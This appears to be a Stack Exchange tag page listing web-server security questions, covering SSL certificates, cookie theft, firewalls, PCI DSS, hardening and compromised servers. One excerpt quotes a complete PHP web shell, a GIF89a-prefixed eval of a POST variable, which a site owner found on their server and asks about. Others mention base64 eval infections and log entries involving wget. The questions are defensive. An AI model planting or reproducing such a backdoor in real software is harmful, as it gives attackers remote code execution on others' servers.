A system whose primary function is to deliver web pages on request to clients.

learn more… | top users | synonyms

4
votes
2answers
121 views

Is using a self signed certificate safer than a free ssl certificate? [duplicate]

I have a personal website/email server, basically for my own self learning use. I am using CACert (http://www.cacert.org/) for my SSL certificate as advised in a tutorial. I have no clue about ...
3
votes
2answers
812 views

Is it possible to steal a non secure Cookie when the Web Server (IIS) only allows Https?

Is it possible to steal a non secure Cookie (Secure Flag is false) when the Web Server (IIS) only allows Https?
3
votes
3answers
469 views

What is the actual security of this login page?

Please visit https://devforums.apple.com If I visit this site using my Safari 6 web browser, this page does not show the normal security indicator that secure sites normally show. Does this ...
3
votes
3answers
3k views

is it worth to implement a firewall on a web server you control?

I see the main reasons for a firewall on a web server to be defense in depth and extra cushion for a possible admin error of running an unnecessary daemon. I'm trying to see if I am overlooking ...
3
votes
3answers
984 views

PCI DSS - only one primary function per server

The PCI DSS says that a server can have only one primary function and i'm a little confused over what it means by 'one primary function' we have a webserver with database - web pages and email is ...
3
votes
2answers
545 views

Security concerns about my webapp

I read though OWASP very carefully, but I am not sure about some parts of my website. I am using jbcrypt on my website. It stores the salt in the hash itself something like this hash+salt. I read ...
3
votes
2answers
403 views

Would our company system be more secure using a VPN?

I'm currently building a back-office system for our company [for internal use] that will manage our customers, accounts etc (not interested in don't reinvent the wheel comments today, thank you!). I'm ...
3
votes
1answer
1k views

How does Windows/IIS keep a certificate protected or should I never run Apache Webserver on a Windows server?

If I follow the reasoning of a colleague it seems you should never run Apache Webserver or Tomcat on a Windows server if you want to keep the https certificate safe. Let me explain before this ...
3
votes
4answers
3k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
3
votes
2answers
142 views

Does site need SSL to resend info to a site that does use SSL?

Let's say I have a website isellchicken.com, this site needs to be able to collect sensitive user information like credit card details. This site will not process the information, but will send it to ...
3
votes
2answers
3k views

What kind of security injection are these traces of, SQL, javascript, or otherwise?

I've tried to secure all information going to the server to make sure there are no SQL injections. However there are new folders on my server with weird names. One of our online services is such that ...
3
votes
1answer
148 views

How to ensure web application remains secured after intrusion of server

My application employs asymmetric encryption / decryption, the process of how this work is detailed below: Encryption - Server A Data is encrypted using the public key of server B Data is signed ...
3
votes
3answers
254 views

What security standards should be implemented in a simple web application

I am creating a web application that basically reads/writes/updates information from and to a database on a server. I am knowledgeable in computer programming, but while seeking security standards, I ...
3
votes
3answers
299 views

Where's the security when a payment gateway let website handle Credit Card detail

Has anyone worked with eWay payment gateway before? Basically, there's a service endpoint where you post the customer's detail and credit card details from the web application after the browser sends ...
3
votes
2answers
152 views

Need an overview of web service / web site security world, where do I start? [duplicate]

Possible Duplicate: Resources to learn about security I'd like to get a good understanding of modern issues in web security and get insight into what it takes to keep your sites and ...
3
votes
2answers
152 views

Regular Expressions for common exploits

I patched for shellshock and was barraged a few days later. However, I would not have known any attempts were made at all if not for a regular expression I found on the internet. This has inspired me ...
3
votes
3answers
2k views

What risks are involved in exposing our home computers over the public internet?

I'm currently running a webserver from home accessible on the public internet via a static IP. What kind of risks are there in doing so? From what I understand, the setup will not allow connections ...
3
votes
2answers
283 views

Website infected with unwanted “redirections”, apparently via javascript code

I'm working on a clients website, and I realize they've been compromised. Early today there was a major problem with a php eval(base64_decode issue. That was cleaned up via Andy Stratton clean.php ...
3
votes
2answers
284 views

Web server interaction with a database server

It is common knowledge that any servers exposed to the internet needs to be placed in a DMZ. However, a web application sometimes need to get user input and updates to backend database tables etc. How ...
3
votes
1answer
181 views

Is using a WebServer as a proxy a secure solution

There are 2 machines - both running Windows Server. Machine1 can access the internet. Machine2 cannot access the internet, but can access Machine1. Machine2 needs to continuously access one external ...
3
votes
1answer
3k views

My web server is hit by strange traffic, what is that?

I'm a noob and just set-up a linode account to play around with linux development. I started nginx and made a simple homepage for my domain (giuliopizzini.com). Today I checked the nginx logs and ...
3
votes
1answer
185 views

Any security risk with raising client_max_body_size nginx?

i was wondering if there is any securitiy risk involved with raising the client_max_body_size in nginx from 1MB to 20GB?
3
votes
3answers
416 views

Error message in Apache logs shows /bin/bash and wget

I am wondering if my server is compromised or not I just looked at my log and seen the following line in there [Thu May 14 09:10:42.587255 2015] [autoindex:error] [pid 3422] [client ...
3
votes
1answer
255 views

Root server hacked via httpd - consequences and future prevention

Since before mid 2014, my root server was targeted by hackers and recently they gained limited access. I disabled all services once I realized the server has been compromised and started ...
3
votes
1answer
516 views

Mitigation Strategies for Response Spliting Attack

I am not going into basics of HTTP response splitting attack as above figure completing describes the working of such a attack. Previous Post have also discussed working of such a attack ASP.NET ...
3
votes
2answers
257 views

PDF files on webserver file system

We create PDF files as relevant to a customer's e-mail communication. These PDF's contain some personal information, specific to the client. The client is emailed a link to the PDF. The link to the ...
3
votes
2answers
133 views

How could this file have been modified?

I was recently asked to help make a few modifications to an old ASP Classic website. At one point I was looking at the page source while debugging some JavaScript and noticed a div full of links to a ...
3
votes
3answers
212 views

Monitoring for security threats

I host and maintain several websites. The users pay to have their sites maintained and secured. However, with the amount of web applications like joolma, wordpress, ect... and their plugins, I need a ...
3
votes
2answers
2k views

How to counter or fix banner grabbing vulnerability

During an audit i came across banner grabbing findings,and would like to know how to mitigate that on IIS and apache server.
3
votes
1answer
77 views

HTTPonly cookies

I was tasked to perform as scan against a lab and Nessus returned an "Apache HTTP Server httpOnly Cookie Information Disclosure" vulnerability. What I would like to know is what these cookies contain ...
3
votes
1answer
60 views

Possible issues when one or more cookie not HttpOnly

I have a question related to HttpOnly cookie. Tracking other threads wasn't of much help, hence I am posting my query here to learn if you can foresee any issues with my understanding. There is a ...
3
votes
1answer
72 views

Is it possible to restrict a client-side certificate (for web auth) valid only for a given site name?

If I have 2 websites, a.example.com and b.example.com. Those sites use TLS and SNI, and require client authentication with certificates created with my own CA. The use case is that some clients have ...
3
votes
1answer
113 views

How long do HTML password fields (sent to the server as postdata) remain in memory?

In any major server-side web framework, there is usually a mechanism to read HTML form input, e.g. in ASP, for an HTML element, <input type="text" name="the_field" />, it is ...
3
votes
1answer
9k views

Explanation of open ports

I've run metasploit against my web-server and it found several opened ports that I didn't know. Please note that I have a firewall and IPSec configured but they were disabled just for testing ...
3
votes
1answer
334 views

Has a HTTP server access to SSL session ID?

I want to know if a HTTP server (Apache, nginx etc.) can access a SSL/TLS session ID. Assume we have some hardware which does only SSL/TLS and behind a webserver which sends and receives the requests. ...
3
votes
2answers
986 views

Hide web.xml file from public view

I have found a vulnerability in a sun java application where the web.xml file is publicly viewable as the application is not using any .htaccess nor web.config. I don't how to restrict. I tried with ...
3
votes
2answers
341 views

Securing a script to prevent database from being exposed

We have an Ioncube encoded script running on an Apache web server which stores customer confidential information in a MySQL database. We have configured the script to run under its own account using ...
3
votes
1answer
367 views

What are some steps to take for securing a Linux server that aren't in this list of obvious ones?

Obvious things: Disable root login (rather, don't enable it) Secure SSH (no root login, key auth only, timeout after inactivity, whitelist users who can SSH in, etc.) IP Tables firewall whitelisting ...
3
votes
2answers
77 views

Is it worth it to install the same web application on different kind of web servers in a vulnerability assessment?

When doing a web vulnerability assessment with tools such as Acunetix and w3af, is it worth it to install the same web application on multiple types of web servers (Apache, IIS, etc.)? If differences ...
2
votes
5answers
2k views

htaccess hacked

I have a dedicated server. A few minutes ago I realized that someone has changed the .htaccess file. How can I protect against that kind of attack? Update: I have no code/site live, only a coming ...
2
votes
2answers
954 views

What is the ultimate goal of hacking a webserver? [closed]

Recently I noticed a lot of traffic generated by automated bots that were checking for vulnerabilities in my web server. They were mainly looking for ways to hack into plesk/wordpress which I don't ...
2
votes
2answers
207 views

Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
2
votes
3answers
167 views

Website Authenticity/Verification without SSL

Are there any other ways of verifying the web server you're visiting is actually the correct one? For example, if a domain name's DNS was hypothetically hijacked, and users were directed to a phishing ...
2
votes
4answers
2k views

Spider Attack from several search engines at once

Hello my server is getting hit by spiders from bingbot, google, yahoo, yandex, and some place in the UK all at the same time crashing it. While I have no reason to think any one person did this, it ...
2
votes
2answers
4k views

How to check if a website is sending out a virus?

I'm a webmaster at a company without much knowledge of IT Security. We are running 6 computers connected to a central server that also hosts our website. 3 out of 6 people in the office have gotten ...
2
votes
2answers
245 views

ip-fragmentation and mod_security?

is it possible to use ip-fragmenation (for example with fragroute) to evade mod_security? the idea would be to split a sql-injection- or xss-string into little pieces so it s not recognised.
2
votes
3answers
229 views

Would people object my website just because I use Google Analytics, +1, or FB Connect?

Are there people who will refuse to use a website just because that site sends browser information to Google Analytics? Could the +1 button be a red flag? Should I expect that there would be ...
2
votes
2answers
854 views

Killing IP connections who “spam” with requests

How can I go about killing IP connections that seem to be sending a lot of requests to the same url? Let's say I have someone who requests the same url for more than 10 times in 5 seconds, I want to ...
2
votes
2answers
1k views

Some questions about penetration testing distribution Backtrack 5

I know just the basics of backtrack and I want to ask some questions about it: Can you attack an ftp server using backtrack? an email server? I have a Centos virtual private server and backtrack is ...
2
votes
1answer
363 views

Are there any security implications in creating an SSH key for the root user?

I've written an install script on a server to quickly set up new sites in the /srv directory. It needs to do a git clone, and has to be run via sudo in order to have the permissions to do all the ...